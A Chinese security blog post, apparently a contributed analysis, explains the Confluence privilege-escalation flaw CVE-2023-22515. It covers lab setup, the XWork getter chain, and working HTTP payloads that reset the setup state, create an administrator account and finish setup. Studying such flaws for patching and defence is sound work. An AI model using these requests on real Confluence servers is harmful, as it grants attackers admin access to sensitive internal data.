写在前面
Confluence最近出了一个最新的严重漏洞,其CVSS评分为满分10分,利用条件低危害等级极高。攻击者可以无条件创建一个管理员账号,众所周知Confluence上会有很多敏感信息,甚至是公司内部的台账,这个漏洞很有收集价值。这篇文章有保姆级别环境搭建与漏洞分析、POC等,感谢World师傅投稿分享。
目录
0x01 漏洞原理
0x02 影响版本
0x03 环境搭建
0x04 漏洞分析
0x05 参考
漏洞原理
CVE-2023-22515 是一个影响 Confluence Server 和 Confluence Data Center的严重漏洞。
他是一个权限提升漏洞 , 当然该漏洞也算是一个组合拳漏洞,由未授权加xwork框架的一个功能引起,危害为高危,很有意思的一个漏洞。
影响版本
8.0.0 <= Confluence Data Center and Confluence Server <= 8.0.4
8.1.0 <= Confluence Data Center and Confluence Server <= 8.1.4
8.2.0 <= Confluence Data Center and Confluence Server <= 8.2.3
8.3.0 <= Confluence Data Center and Confluence Server <= 8.3.2
8.4.0 <= Confluence Data Center and Confluence Server <= 8.4.2
8.5.0 <= Confluence Data Center and Confluence Server <= 8.5.1
环境搭建
这里保姆级环境搭建较长,关注漏洞分析和POC的师傅可以直接下拉到漏洞分析(大概在文章中部位置)。首先我们需要去官网下载安装环境
https://www.atlassian.com/software/confluence/download-archives
选择一个版本进行安装 我选择的8.1.0
一路next,选择confluence,默认端口
安装完成会自动打开网页,选择适用
这里点击获取,然后去官网注册个账户,免费试用9个月
选择单点
选择mysql
然后这里需要有一个驱动
点击获取点进去
然后这里选择独立于平台,然后下载这个zip压缩包
解压缩后里面有个jar包
打开依赖包目录 C:\Program Files\Atlassian\Confluence\confluence\WEB-INF\lib 把这个jar包放进去
然后找到文件夹快捷,然后暂停服务
启动服务
刷新页面
这里就出来了
启动一个版本为8的数据库,连接数据库
一路next,创建空站点,配置用户管理,管理员信息。然后就可以正常启动了。
漏洞分析
这个漏洞需要一些前置知识,Confluence是建立在Apache Struts框架之上的,作为其中的一部分使用了框架。
XWork 框架允许通过 HTTP 请求中提供的 HTTP 参数在 Java 对象上设置参数。这是 Confluence 的一个已知安全问题。简单来说就像 struts2的OGNL表达式漏洞差不多 参考CVE-2016-4428 都是通过方法.方法的形式来达到一个调用链的一个效果具体参考
https://developer.atlassian.com/server/confluence/xwork-plugin-complex-parameters-and-security/
XWorkPlugin Complex Parameters and Security (atlassian.com)
这个漏洞的效果是达到可以创建一个管理员账户信息的一个效果,而这个创建管理员信息则是在安装网站的时候进行创建,访问/setup/setupadministrator.action目录则可以进行创建管理员账户
但是我们直接访问这个目录则可以发现返回Setup is already complete - Confluence 也就说安装程序已完成
也就是不能直接进行访问然后直接创建,那么我们就可以去看一下代码 然后就发现在atlassian-confluence-8.1.0/struts.xml文件下有一个拦截器
而拦截器下面作为检查的一部分将进行测试,已确定服务器是否已完成设置
然后进去看一下发现是返回一个布尔值,如果我们可以让这两个其中一个值返回false,那么我们就可以让网站处在安装未完成的状态。我们就可以通过访问/setup/setupadministrator.action目录达到创建管理员账号的目的(上面安装环境的时候设置过了)
这里我们需要找到一个未授权的端点,然后通过xwork的可以通过getter.的方法进行拼接出一个调用链,然后利用这个调用链设置这两的其中一个值为false,从而达到设置服务器配置的一个效果。
而这个漏洞则是利用的/server-info.action 端点
作者是利用了ServerInfoAction的父类ConfluenceActionSupport
在ConfluenceActionSupport类下有一个getter方法叫getBootstrapStatusProvider() 这个方法获取了一个BootstrapStatusProviderImpl实例
而在BootstrapStatusProviderImpl类下有一个getApplicationConfig()方法 这个方法获取了ApplicationConfig的实例
而在ApplicationConfig类下面有一个setter方法他设置了setupComplete的值,那么这个值正是我们刚才在拦截器里面看到的其中的一个值,而我们通过设置这个值为false可以达到让网站进入未安装完成的状态
通过刚才的拦截器方法可以看到这个获取了一个setupComplete值用来进行判断
那么我们通过xwork的功能把这些方法调用拼接起来
Payload 1:
/server-info.action?BootstrapStatusProvider.applicationConfig.setupComplete=false
Payload 2:
POST /setup/setupadministrator.action HTTP/1.1
Host: 192.168.168.129:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed- exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=B3FC576A89A343C219366798C6DA400F
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
username=user&fullName=user&email=123@qq.comt&password=user&confirm=user&setup-next-button=Next
这里看到成功返回success 也就是访问成功的回显
然后我们在直接访问 /setup/setupadministrator.action 目录 传入账号密码进行设置
username=user&fullName=user&email=123@qq.comt&password=user&confirm=user&setup-next-button=Next
成功设置了管理员账户和密码
为了避免向所有用户显示一条消息,指出设置已完成,我们可以向端点发出请求。
/setup/finishsetup.action
这个漏洞就是由未授权端点然后,使用xwork的特性传入参数进行修改服务器配置,使网站进入安装未完成状态,达到添加管理员账户的目的
参考
https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis
写在最后
本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。